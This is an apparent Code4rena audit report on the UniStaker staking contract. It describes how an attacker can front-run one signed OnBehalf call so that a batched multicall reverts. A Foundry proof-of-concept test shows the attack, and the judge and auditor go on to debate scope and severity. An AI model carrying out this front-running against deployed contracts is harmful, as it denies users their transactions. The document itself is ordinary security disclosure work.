Multicall operations can be forcefully reverted

[c4-bot-7]

Lines of code

https://github.com/code-423n4/2024-02-uniswap-foundation/blob/5298812a129f942555466ebaa6ea9a2af4be0ccc/src/UniStaker.sol#L548

Vulnerability details

Note:

This issue is different than the OOS marked frontrunning issue of UNI.permit {#5).

Impact

The UniStaker contract contains functions for performing operations on behalf of users. In these, the operator of an operation simply signs a message which can be relayed to UniStaker contract and then the intended operation gets performed.

This is done for these functions:

• stakeOnBehalf
• stakeMoreOnBehalf
• alterDelegateeOnBehalf
• alterBeneficiaryOnBehalf
• withdrawOnBehalf

The contract also supports multicall by which multiple UniStaker operation can be clubbed together in a single transaction.

In case when users or protocol owners want to perform multiple OnBehalf calls using a single multicall txn, then this multicall txn can be forcefully reverted by an attacker. The attacker can simply frontrun this txn and execute any one the many multicall calls so that original multicall batch reverts.

This attack materializes because of two factors

• no signed message can be replayed again due to the use of nonce here
• the multicall batch completely reverts if any of its individual call reverts

This attack can be used by an attacker to DOS the use of OnBehalf operation with multicall. The attacker can succcessfully prevent all those kind of operations indefinitely.

Proof of Concept

// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.23;

import {Vm, Test, stdStorage, StdStorage, console2} from "forge-std/Test.sol";
import {UniStaker, DelegationSurrogate, IERC20, IERC20Delegates} from "src/UniStaker.sol";
import {ERC20} from "openzeppelin/token/ERC20/ERC20.sol";
import {ERC20Permit} from "openzeppelin/token/ERC20/extensions/ERC20Permit.sol";

contract TokenFake is ERC20, ERC20Permit {
    constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol) ERC20Permit(_name) {}
    function mint(address _account, uint256 _value) public {
        _mint(_account, _value);
    }
    function delegate(address) public {}
}

contract AuditTest is Test {
    UniStaker uniStaker;
    TokenFake uni;
    TokenFake weth;
    address admin;
    address notifier;
    address alice;
    address bob;
    address charlie;
    uint256 alicePK;
    uint256 bobPK;

    function setUp() public {
        admin = makeAddr("admin");
        notifier = makeAddr("notifier");
        (alice, alicePK) = makeAddrAndKey("alice");
        (bob, bobPK) = makeAddrAndKey("bob");
        charlie = makeAddr("charlie");

        uni = new TokenFake("Uniswap", "UNI");
        weth = new TokenFake("Wrapped Ether", "WETH");
        uniStaker = new UniStaker(IERC20(address(weth)), IERC20Delegates(address(uni)), admin);

        vm.prank(admin);
        uniStaker.setRewardNotifier(notifier, true);
    }

    function test_bug_multicallFrontrun() public {
        weth.mint(address(uniStaker), 6000e18);
        vm.prank(notifier);
        uniStaker.notifyRewardAmount(6000e18);

        // Stake for Alice and Bob
        uni.mint(alice, 100e18);
        vm.startPrank(alice);
        uni.approve(address(uniStaker), 100e18);
        uniStaker.stake(100e18, alice);
        vm.stopPrank();

        uni.mint(bob, 100e18);
        vm.startPrank(bob);
        uni.approve(address(uniStaker), 100e18);
        uniStaker.stake(100e18, bob);
        vm.stopPrank();

        // Ideal scenario: Claim rewards for users using multicall
        vm.warp(block.timestamp + 10 days);

        bytes memory toSignData1 = getToBeSignedData(keccak256("ClaimReward(address beneficiary,uint256 nonce)"), alice, 0);
        (uint8 v1, bytes32 r1, bytes32 s1) = vm.sign(alicePK, keccak256(toSignData1));

        bytes memory toSignData2 = getToBeSignedData(keccak256("ClaimReward(address beneficiary,uint256 nonce)"), bob, 0);
        (uint8 v2, bytes32 r2, bytes32 s2) = vm.sign(bobPK, keccak256(toSignData2));

        bytes[] memory multicallData1 = new bytes[](2);
        multicallData1[0] = abi.encodeCall(uniStaker.claimRewardOnBehalf, (alice, abi.encodePacked(r1, s1, v1)));
        multicallData1[1] = abi.encodeCall(uniStaker.claimRewardOnBehalf, (bob, abi.encodePacked(r2, s2, v2)));

        uniStaker.multicall(multicallData1);
        assertEq(weth.balanceOf(alice), 1000e18 - 1);
        assertEq(weth.balanceOf(bob), 1000e18 - 1);

        // Frontrunning Scenario: Attacker frontruns one of the many multical txns
        vm.warp(block.timestamp + 10 days);

        bytes memory toSignData3 = getToBeSignedData(keccak256("ClaimReward(address beneficiary,uint256 nonce)"), alice, 1);
        (uint8 v3, bytes32 r3, bytes32 s3) = vm.sign(alicePK, keccak256(toSignData3));

        bytes memory toSignData4 = getToBeSignedData(keccak256("ClaimReward(address beneficiary,uint256 nonce)"), bob, 1);
        (uint8 v4, bytes32 r4, bytes32 s4) = vm.sign(bobPK, keccak256(toSignData4));

        bytes[] memory multicallData2 = new bytes[](2);
        multicallData2[0] = abi.encodeCall(uniStaker.claimRewardOnBehalf, (alice, abi.encodePacked(r3, s3, v3)));
        multicallData2[1] = abi.encodeCall(uniStaker.claimRewardOnBehalf, (bob, abi.encodePacked(r4, s4, v4)));

        // frontrun txn
        uniStaker.claimRewardOnBehalf(alice, abi.encodePacked(r3, s3, v3));

        // the legitimate multicall txn gets reverted
        vm.expectRevert(UniStaker.UniStaker__InvalidSignature.selector);
        uniStaker.multicall(multicallData2);

        assertEq(weth.balanceOf(alice), 2000e18 - 2);
        assertEq(weth.balanceOf(bob), 1000e18 - 1);
    }
}

Tools Used

Foundry

Recommended Mitigation Steps

One solution could be to append an intended submitter into the EIP712 signed messages and validate that only that submitter can relay the signed message to UniStaker.

Assessed type

Context

[MarioPoneder]

Appreciate the extended attack vector via multicall, nevertheless, it's still caused by permit frontrunning which is OOS.

[c4-judge]

MarioPoneder marked the issue as unsatisfactory:
Out of scope

[akshaysrivastav]

Hey @MarioPoneder there seems to be some misunderstanding about this report. Can you please have a look again.

This report shows how the OnBehalf function calls batched in a multicall transaction can always be forcefully reverted by an attacker. Essentially preventing anyone from using OnBehalf + multicall operations together.

it's still caused by permit frontrunning which is OOS.

Just to restate, this report has nothing to do with the permit function. The report describes how a functionality of the protocol can be dossed.

[MarioPoneder]

Thank you for your comment!

I should have been more precise in my first comment. It's not the classical permit-frontrunnig via a permit method, but it belongs to the same group of issues just different method names.
This group of issues is known and in practice not preventing anyone from using multicall with with OnBehalf-methods since there is no economical gain for an attacker to do this. Especially considering the mainnet fees.

Nevertheless, I appreciate this finding and acknowledge it's a valid griefing attack vector. However, due to the limited impacts and missing attack incentives, this would only qualify as QA. Furthermore, the sponsor refers to "Permit based convenience methods front running griefing attack" in the README and those methods are convenience methods and work exactly like a permit.
Therefore, leaving this as it is. Thank you for your understanding!

[akshaysrivastav]

Sure @MarioPoneder I got your point and respect your decision.

As this report was marked unsatisfactory it is likely that sponsors won't be notified of this report. Would it be possible for you to convey this possible griefing attack vector to them, just to make them aware explicitly.

Also can you please mark this as satisfactory and QA. Thanks.